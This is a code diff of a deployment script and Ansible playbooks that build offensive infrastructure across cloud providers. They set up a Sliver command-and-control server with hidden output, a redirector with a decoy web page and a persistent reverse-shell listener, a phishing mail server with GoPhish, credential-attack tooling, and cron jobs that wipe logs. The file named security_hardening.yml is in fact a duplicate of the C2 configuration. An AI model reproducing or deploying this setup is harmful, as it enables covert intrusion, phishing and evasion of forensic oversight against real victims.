- # Track deployment logs
- deployment_logs = []
-
- # Deploy infrastructure based on provider
- success = False
-
- try:
- if config['provider'].lower() == 'aws':
- # Verify SSH key permissions before deployment
- if config.get('ssh_key'):
- verify_key_file_permissions(os.path.expanduser(config['ssh_key']))
-
- success, logs, aws_resources = deploy_with_error_handling(deploy_aws, config)
- deployment_logs.extend(logs)
- deployed_instances.extend(aws_resources)
-
- elif config['provider'].lower() == 'linode':
- # Verify SSH key permissions before deployment
- if config.get('ssh_key'):
- verify_key_file_permissions(os.path.expanduser(config['ssh_key']))
-
- success, logs, linode_resources = deploy_with_error_handling(deploy_linode, config)
- deployment_logs.extend(logs)
- deployed_instances.extend(linode_resources)
-
- elif config['provider'].lower() == 'flokinet':
- success, logs, flokinet_resources = deploy_with_error_handling(deploy_flokinet, config)
- deployment_logs.extend(logs)
- deployed_instances.extend(flokinet_resources)
-
- else:
- print(f"[-] Error: Unsupported provider: {config['provider']}")
- return
-
- except Exception as e:
- error_log = log_debug_info("Unexpected error", e, error_log_file)
- if error_log:
- deployment_logs.append(error_log)
-
- print(f"[-] Unexpected error during deployment: {e}")
- print(f"[+] See {error_log_file} for detailed error information")
- success = False
-
- # Show result and handle cleanup
if success:
- print("\n[+] Deployment completed successfully!")
- show_deployment_summary(config)
+ logging.info("Deployment completed successfully!")
- # Only SSH if deployment was successful and user requested it
- if config.get('ssh_after_deploy'):
- print("\n[+] Preparing to SSH into C2 server...")
- ssh_to_c2(config)
+ # SSH into instance if requested
+ if args.ssh_after_deploy:
+ ssh_to_instance(config)
else:
- print("\n[-] Deployment failed.")
- if error_log_file:
- print(f"[+] Check {error_log_file} for detailed error information")
-
- # Add all discovered logs to the config
- config['deployment_logs'] = deployment_logs
-
- # Always ask if user wants to clean up sensitive files
- cleanup_option = "y/N" if not success else "Y/n"
- cleanup_default = "n" if not success else "y"
-
- cleanup = input(f"\n[?] Would you like to clean up sensitive files{' despite deployment failure' if not success else ''}? ({cleanup_option}): ").lower() or cleanup_default
-
- if cleanup.startswith('y'):
- cleanup_sensitive_files(config)
-
+ logging.error("Deployment failed!")
+ cleanup_resources(config)
except KeyboardInterrupt:
- print("\n\n[!] Deployment interrupted by user (Ctrl+C).")
-
- if deployed_instances:
- print(f"[!] The following resources were deployed:")
- for instance in deployed_instances:
- if isinstance(instance, tuple) and len(instance) >= 2:
- print(f" - {instance[0]} (ID: {instance[1]})")
- else:
- print(f" - {instance}")
-
- cleanup = input("\n[?] Would you like to clean up deployed resources before exiting? (Y/n): ").lower() or "y"
-
- if cleanup.startswith('y'):
- cleanup_interrupted_deployment(config['provider'], deployed_instances, generated_ssh_keys)
- else:
- print("[!] Deployed resources will remain active. You will need to clean them up manually.")
-
- print("[+] Exiting...")
- sys.exit(1)
+ logging.info("Deployment interrupted by user")
+ cleanup_resources(config)
+ except Exception as e:
+ logging.error(f"Deployment failed with error: {e}")
+ if config.get('debug'):
+ import traceback
+ logging.debug(traceback.format_exc())
+ cleanup_resources(config)
if __name__ == "__main__":
main()
\ No newline at end of file
diff --git a/tasks/configure-c2.yml b/tasks/configure-c2.yml
new file mode 100644
index 0000000..fb55c40
--- /dev/null
+++ b/tasks/configure-c2.yml
@@ -0,0 +1,136 @@
+---
+# Common task for configuring C2 server
+# Shared across all providers
+
+- name: Update apt cache
+ apt:
+ update_cache: yes
+
+- name: Set a custom MOTD
+ template:
+ src: "motd.j2"
+ dest: /etc/motd
+ owner: root
+ group: root
+ mode: '0644'
+
+- name: Install base utilities and tools via apt
+ apt:
+ name:
+ - git
+ - wget
+ - curl
+ - unzip
+ - python3-pip
+ - python3-venv
+ - tmux
+ - pipx
+ - nmap
+ - tcpdump
+ - hydra
+ - john
+ - hashcat
+ - sqlmap
+ - gobuster
+ - dirb
+ - enum4linux
+ - dnsenum
+ - seclists
+ - responder
+ - golang
+ - proxychains
+ - tor
+ - crackmapexec
+ - jq
+ - unzip
+ - postfix
+ - certbot
+ - opendkim
+ - opendkim-tools
+ - dovecot-core
+ - dovecot-imapd
+ - dovecot-pop3d
+ - dovecot-sieve
+ - dovecot-managesieved
+ - yq
+ state: present
+
+- name: Copy operational scripts
+ copy:
+ src: "{{ item }}"
+ dest: "/opt/c2/{{ item }}"
+ mode: '0700'
+ owner: root
+ group: root
+ with_items:
+ - clean-logs.sh
+ - secure-exit.sh
+ - serve-beacons.sh
+
+- name: Create operational directories
+ file:
+ path: "{{ item }}"
+ state: directory
+ mode: '0700'
+ owner: root
+ group: root
+ with_items:
+ - /opt/c2
+ - /opt/beacons
+ - /opt/payloads
+
+- name: Create Sliver service file
+ copy:
+ content: |
+ [Unit]
+ Description=Sliver C2 Server
+ After=network.target
+
+ [Service]
+ Type=simple
+ User=root
+ Group=root
+ WorkingDirectory=/root/.sliver
+ ExecStart=/usr/local/bin/sliver-server daemon
+ Restart=always
+ RestartSec=10
+
+ # Security measures
+ PrivateTmp=true
+ ProtectHome=false
+ NoNewPrivileges=true
+
+ # Hide process information
+ StandardOutput=null
+ StandardError=null
+
+ [Install]
+ WantedBy=multi-user.target
+ dest: /etc/systemd/system/sliver.service
+ mode: '0644'
+ owner: root
+ group: root
+
+- name: Set up cron job for log cleaning if zero-logs enabled
+ cron:
+ name: "Clean logs"
+ minute: "0"
+ hour: "*/6"
+ job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
+ when: zero_logs | bool
+
+- name: Install Let's Encrypt certificate if domain specified
+ shell: |
+ certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
+ args:
+ creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem
+ when: domain != "example.com"
+
+- name: Configure and start beacon server
+ shell: |
+ sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh
+ chmod +x /opt/c2/serve-beacons.sh
+ # Check if beacon server is already running
+ if ! pgrep -f "/opt/c2/serve-beacons.sh" > /dev/null; then
+ nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
+ fi
\ No newline at end of file
diff --git a/tasks/configure_mail.yml b/tasks/configure_mail.yml
new file mode 100644
index 0000000..280ae92
--- /dev/null
+++ b/tasks/configure_mail.yml
@@ -0,0 +1,170 @@
+---
+# Common task for configuring mail server
+# Shared across all providers
+
+- name: Configure Postfix main.cf
+ lineinfile:
+ path: /etc/postfix/main.cf
+ regexp: "{{ item.regexp }}"
+ line: "{{ item.line }}"
+ with_items:
+ - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
+ - { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
+ - { regexp: '^myorigin', line: "myorigin = $mydomain" }
+ - { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
+ - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
+ - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
+ - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
+ - { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
+ - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
+ - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
+ - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
+ - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
+ - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
+ - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
+ - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
+ - { regexp: '^milter_default_action', line: "milter_default_action = accept" }
+ - { regexp: '^milter_protocol', line: "milter_protocol = 6" }
+ - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
+ - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
+
+- name: Configure OpenDKIM
+ lineinfile:
+ path: /etc/opendkim.conf
+ regexp: "{{ item.regexp }}"
+ line: "{{ item.line }}"
+ with_items:
+ - { regexp: '^Domain', line: "Domain {{ domain }}" }
+ - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
+ - { regexp: '^Selector', line: "Selector mail" }
+ - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
+ - { regexp: '^Syslog', line: "Syslog yes" }
+ - { regexp: '^UMask', line: "UMask 002" }
+ - { regexp: '^Mode', line: "Mode sv" }
+
+- name: Create DKIM directory
+ file:
+ path: /etc/opendkim/keys/{{ domain }}
+ state: directory
+ owner: opendkim
+ group: opendkim
+ mode: 0700
+
+- name: Generate DKIM keys
+ command: >
+ opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
+ args:
+ creates: /etc/opendkim/keys/{{ domain }}/mail.private
+
+- name: Set permissions for DKIM keys
+ file:
+ path: /etc/opendkim/keys/{{ domain }}/mail.private
+ owner: opendkim
+ group: opendkim
+ mode: 0600
+
+- name: Configure OpenDKIM TrustedHosts
+ copy:
+ content: |
+ 127.0.0.1
+ ::1
+ localhost
+ {{ domain }}
+ dest: /etc/opendkim/TrustedHosts
+ owner: opendkim
+ group: opendkim
+ mode: 0644
+
+- name: Enable submission port (587) in master.cf
+ blockinfile:
+ path: /etc/postfix/master.cf
+ insertafter: '^#submission'
+ block: |
+ submission inet n - y - - smtpd
+ -o syslog_name=postfix/submission
+ -o smtpd_tls_security_level=encrypt
+ -o smtpd_sasl_auth_enable=yes
+ -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
+ -o smtpd_relay_restrictions=permit_sasl_authenticated,reject
+
+- name: Configure Dovecot for Postfix SASL
+ blockinfile:
+ path: /etc/dovecot/conf.d/10-master.conf
+ insertafter: '^service auth {'
+ block: |
+ # Postfix smtp-auth
+ unix_listener /var/spool/postfix/private/auth {
+ mode = 0660
+ user = postfix
+ group = postfix
+ }
+
+- name: Set Dovecot auth_mechanisms
+ lineinfile:
+ path: /etc/dovecot/conf.d/10-auth.conf
+ regexp: '^auth_mechanisms'
+ line: 'auth_mechanisms = plain login'
+
+- name: Create Dovecot password file for SASL authentication
+ file:
+ path: /etc/dovecot/passwd
+ state: touch
+ mode: '0600'
+ owner: dovecot
+ group: dovecot
+
+- name: Add SMTP auth user to Dovecot
+ lineinfile:
+ path: /etc/dovecot/passwd
+ line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
+
+- name: Disable system auth and use passwd-file
+ lineinfile:
+ path: /etc/dovecot/conf.d/10-auth.conf
+ regexp: '^!include auth-system.conf.ext'
+ line: '#!include auth-system.conf.ext'
+
+- name: Add auth-passwdfile configuration
+ blockinfile:
+ path: /etc/dovecot/conf.d/10-auth.conf
+ insertafter: '^auth_mechanisms ='
+ block: |
+ passdb {
+ driver = passwd-file
+ args = scheme=sha512_crypt /etc/dovecot/passwd
+ }
+ userdb {
+ driver = static
+ args = uid=vmail gid=vmail home=/var/vmail/%u
+ }
+
+- name: Create vmail group
+ group:
+ name: vmail
+ gid: 5000
+ state: present
+
+- name: Create vmail user
+ user:
+ name: vmail
+ uid: 5000
+ group: vmail
+ create_home: no
+
+- name: Create vmail directory structure
+ file:
+ path: /var/vmail
+ state: directory
+ owner: vmail
+ group: vmail
+ mode: 0700
+
+- name: Restart Postfix
+ service:
+ name: postfix
+ state: restarted
+
+- name: Restart Dovecot
+ service:
+ name: dovecot
+ state: restarted
\ No newline at end of file
diff --git a/tasks/configure_redirector.yml b/tasks/configure_redirector.yml
new file mode 100644
index 0000000..fd5d365
--- /dev/null
+++ b/tasks/configure_redirector.yml
@@ -0,0 +1,114 @@
+---
+# Common task for configuring redirector
+# Shared across all providers
+
+- name: Install required packages for redirector
+ apt:
+ name:
+ - nginx
+ - certbot
+ - python3-certbot-nginx
+ - socat
+ - netcat-openbsd
+ - secure-delete
+ state: present
+ update_cache: yes
+
+- name: Create directories for operational scripts
+ file:
+ path: "{{ item }}"
+ state: directory
+ mode: '0700'
+ owner: root
+ group: root
+ with_items:
+ - /opt/c2
+ - /opt/shell-handler
+
+- name: Copy clean-logs.sh script
+ copy:
+ src: "clean-logs.sh"
+ dest: /opt/c2/clean-logs.sh
+ mode: '0700'
+ owner: root
+ group: root
+
+- name: Copy shell handler script
+ copy:
+ src: "persistent-listener.sh"
+ dest: /opt/shell-handler/persistent-listener.sh
+ mode: '0700'
+ owner: root
+ group: root
+
+- name: Configure shell handler script with C2 IP
+ replace:
+ path: /opt/shell-handler/persistent-listener.sh
+ regexp: 'C2_HOST="127.0.0.1"'
+ replace: 'C2_HOST="{{ c2_ip }}"'
+
+- name: Configure shell handler script with listening port
+ replace:
+ path: /opt/shell-handler/persistent-listener.sh
+ regexp: 'LISTEN_PORT=4444'
+ replace: 'LISTEN_PORT={{ shell_handler_port }}'
+
+- name: Create shell handler service
+ template:
+ src: "shell-handler.service.j2"
+ dest: /etc/systemd/system/shell-handler.service
+ mode: '0644'
+ owner: root
+ group: root
+
+- name: Configure NGINX for zero-logging if enabled
+ template:
+ src: "nginx.conf.j2"
+ dest: /etc/nginx/nginx.conf
+ mode: '0644'
+ owner: root
+ group: root
+ when: zero_logs | bool
+
+- name: Configure NGINX for C2 redirection
+ template:
+ src: "redirector-site.conf.j2"
+ dest: /etc/nginx/sites-available/default
+ mode: '0644'
+ owner: root
+ group: root
+
+- name: Create legitimate-looking index.html
+ template:
+ src: "redirector-index.html.j2"
+ dest: /var/www/html/index.html
+ mode: '0644'
+ owner: www-data
+ group: www-data
+
+- name: Start and enable shell handler service
+ systemd:
+ name: shell-handler
+ state: started
+ enabled: yes
+ daemon_reload: yes
+
+- name: Set up cron job for log cleaning if zero-logs enabled
+ cron:
+ name: "Clean logs"
+ minute: "0"
+ hour: "*/6"
+ job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
+ when: zero_logs | bool
+
+- name: Install Let's Encrypt certificate if domain specified
+ shell: |
+ certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
+ args:
+ creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
+ when: domain != "example.com"
+
+- name: Restart NGINX
+ systemd:
+ name: nginx
+ state: restarted
\ No newline at end of file
diff --git a/tasks/install_tools.yml b/tasks/install_tools.yml
new file mode 100644
index 0000000..370418f
--- /dev/null
+++ b/tasks/install_tools.yml
@@ -0,0 +1,110 @@
+---
+# Common task for installing offensive security tools
+# Shared across all providers
+
+- name: Create Tools directory
+ file:
+ path: /home/{{ ansible_user }}/Tools
+ state: directory
+ owner: "{{ ansible_user }}"
+ group: "{{ ansible_user }}"
+ mode: '0755'
+
+- name: Ensure pipx path is configured
+ shell: |
+ pipx ensurepath
+ become: true
+ args:
+ executable: /bin/bash
+
+- name: Install tools via pipx
+ shell: |
+ export PATH=$PATH:/root/.local/bin
+ pipx ensurepath
+ pipx install git+https://github.com/Pennyw0rth/NetExec
+ pipx install git+https://github.com/blacklanternsecurity/TREVORspray
+ pipx install impacket
+ become: true
+ args:
+ executable: /bin/bash
+
+- name: Download Kerbrute
+ shell: |
+ mkdir -p /home/{{ ansible_user }}/Tools/Kerbrute
+ wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /home/{{ ansible_user }}/Tools/Kerbrute/kerbrute
+ chmod +x /home/{{ ansible_user }}/Tools/Kerbrute/kerbrute
+ become: true
+ args:
+ executable: /bin/bash
+ creates: /home/{{ ansible_user }}/Tools/Kerbrute/kerbrute
+
+- name: Clone SharpCollection nightly builds
+ git:
+ repo: https://github.com/Flangvik/SharpCollection.git
+ dest: /home/{{ ansible_user }}/Tools/SharpCollection
+ version: master
+ ignore_errors: yes
+
+- name: Clone PEASS-ng
+ git:
+ repo: https://github.com/carlospolop/PEASS-ng.git
+ dest: /home/{{ ansible_user }}/Tools/PEASS-ng
+ ignore_errors: yes
+
+- name: Clone MailSniper
+ git:
+ repo: https://github.com/dafthack/MailSniper.git
+ dest: /home/{{ ansible_user }}/Tools/MailSniper
+ ignore_errors: yes
+
+- name: Clone Inveigh
+ git:
+ repo: https://github.com/Kevin-Robertson/Inveigh.git
+ dest: /home/{{ ansible_user }}/Tools/Inveigh
+ ignore_errors: yes
+
+- name: Install Sliver C2 server
+ shell: |
+ curl https://sliver.sh/install | bash
+ systemctl enable sliver
+ systemctl start sliver
+ become: true
+
+- name: Install Metasploit Framework (Nightly Build)
+ shell: |
+ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
+ chmod 755 /tmp/msfinstall
+ /tmp/msfinstall
+ rm -f /tmp/msfinstall
+ become: true
+ args:
+ executable: /bin/bash
+ creates: /usr/bin/msfconsole
+
+- name: Grab GoPhish
+ shell: |
+ curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o /home/{{ ansible_user }}/Tools/gophish.zip
+ unzip /home/{{ ansible_user }}/Tools/gophish.zip -d /home/{{ ansible_user }}/Tools/gophish
+ rm -rf /home/{{ ansible_user }}/Tools/gophish.zip
+ chmod +x /home/{{ ansible_user }}/Tools/gophish/gophish
+ args:
+ creates: /home/{{ ansible_user }}/Tools/gophish/gophish
+
+- name: Deploy Gophish config.json with custom admin port
+ template:
+ src: gophish-config.j2
+ dest: /home/{{ ansible_user }}/Tools/gophish/config.json
+ owner: "{{ ansible_user }}"
+ group: "{{ ansible_user }}"
+ mode: '0644'
+ vars:
+ gophish_admin_port: "{{ gophish_admin_port }}"
+ domain: "{{ domain }}"
+
+- name: Set proper ownership for Tools directory
+ file:
+ path: /home/{{ ansible_user }}/Tools
+ owner: "{{ ansible_user }}"
+ group: "{{ ansible_user }}"
+ recurse: true
+ mode: '0755'
\ No newline at end of file
diff --git a/tasks/security_hardening.yml b/tasks/security_hardening.yml
new file mode 100644
index 0000000..fb55c40
--- /dev/null
+++ b/tasks/security_hardening.yml
@@ -0,0 +1,136 @@
+---
+# Common task for configuring C2 server
+# Shared across all providers
+
+- name: Update apt cache
+ apt:
+ update_cache: yes
+
+- name: Set a custom MOTD
+ template:
+ src: "motd.j2"
+ dest: /etc/motd
+ owner: root
+ group: root
+ mode: '0644'
+
+- name: Install base utilities and tools via apt
+ apt:
+ name:
+ - git
+ - wget
+ - curl
+ - unzip
+ - python3-pip
+ - python3-venv
+ - tmux
+ - pipx
+ - nmap
+ - tcpdump
+ - hydra
+ - john
+ - hashcat
+ - sqlmap
+ - gobuster
+ - dirb
+ - enum4linux
+ - dnsenum
+ - seclists
+ - responder
+ - golang
+ - proxychains
+ - tor
+ - crackmapexec
+ - jq
+ - unzip
+ - postfix
+ - certbot
+ - opendkim
+ - opendkim-tools
+ - dovecot-core
+ - dovecot-imapd
+ - dovecot-pop3d
+ - dovecot-sieve
+ - dovecot-managesieved
+ - yq
+ state: present
+
+- name: Copy operational scripts
+ copy:
+ src: "{{ item }}"
+ dest: "/opt/c2/{{ item }}"
+ mode: '0700'
+ owner: root
+ group: root
+ with_items:
+ - clean-logs.sh
+ - secure-exit.sh
+ - serve-beacons.sh
+
+- name: Create operational directories
+ file:
+ path: "{{ item }}"
+ state: directory
+ mode: '0700'
+ owner: root
+ group: root
+ with_items:
+ - /opt/c2
+ - /opt/beacons
+ - /opt/payloads
+
+- name: Create Sliver service file
+ copy:
+ content: |
+ [Unit]
+ Description=Sliver C2 Server
+ After=network.target
+
+ [Service]
+ Type=simple
+ User=root
+ Group=root
+ WorkingDirectory=/root/.sliver
+ ExecStart=/usr/local/bin/sliver-server daemon
+ Restart=always
+ RestartSec=10
+
+ # Security measures
+ PrivateTmp=true
+ ProtectHome=false
+ NoNewPrivileges=true
+
+ # Hide process information
+ StandardOutput=null
+ StandardError=null
+
+ [Install]
+ WantedBy=multi-user.target
+ dest: /etc/systemd/system/sliver.service
+ mode: '0644'
+ owner: root
+ group: root
+
+- name: Set up cron job for log cleaning if zero-logs enabled
+ cron:
+ name: "Clean logs"
+ minute: "0"
+ hour: "*/6"
+ job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
+ when: zero_logs | bool
+
+- name: Install Let's Encrypt certificate if domain specified
+ shell: |
+ certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
+ args:
+ creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem
+ when: domain != "example.com"
+
+- name: Configure and start beacon server
+ shell: |
+ sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh
+ chmod +x /opt/c2/serve-beacons.sh
+ # Check if beacon server is already running
+ if ! pgrep -f "/opt/c2/serve-beacons.sh" > /dev/null; then
+ nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
+ fi
\ No newline at end of file